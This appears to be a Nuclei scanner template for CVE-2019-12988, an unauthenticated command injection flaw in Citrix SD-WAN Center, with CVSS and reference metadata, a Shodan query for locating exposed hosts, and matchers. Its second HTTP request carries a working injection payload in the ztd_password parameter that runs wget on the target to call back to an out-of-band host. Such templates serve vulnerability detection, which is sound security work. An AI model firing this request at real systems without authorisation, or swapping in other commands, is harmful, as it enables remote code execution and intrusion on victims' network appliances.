id: CVE-2019-12988 info: name: Citrix SD-WAN Center - Remote Command Injection author: gy741 severity: critical description: | Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ztd_password, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations. remediation: | Apply the latest security patches provided by Citrix to mitigate the vulnerability. reference: - https://www.tenable.com/security/research/tra-2019-31 - https://support.citrix.com/article/CTX251987 - https://nvd.nist.gov/vuln/detail/CVE-2019-12988 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-12988 cwe-id: CWE-78 epss-score: 0.97438 epss-percentile: 0.99938 cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: citrix product: netscaler_sd-wan shodan-query: http.title:"Citrix SD-WAN" tags: rce,unauth,oast,tenable,cve,cve2019,citrix http: - raw: - | GET /login HTTP/1.1 Host: {{Hostname}} - |+ GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://{{interactsh-url}}) HTTP/1.1 Host: {{Hostname}} Accept: */* unsafe: true matchers-condition: and matchers: - type: dsl dsl: - 'contains(body_1, "Citrix SD-WAN")' - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" # digest: 490a0046304402206aa4c574efd20cf8a0c48a294299faaf85ac72547c734a63530ace12fa36ce0002200962f1ec85068aeb3921d242ac26d6942857eb7945e74149e2037f2824abeaac:922c64590222798bb761d5b6d8e72950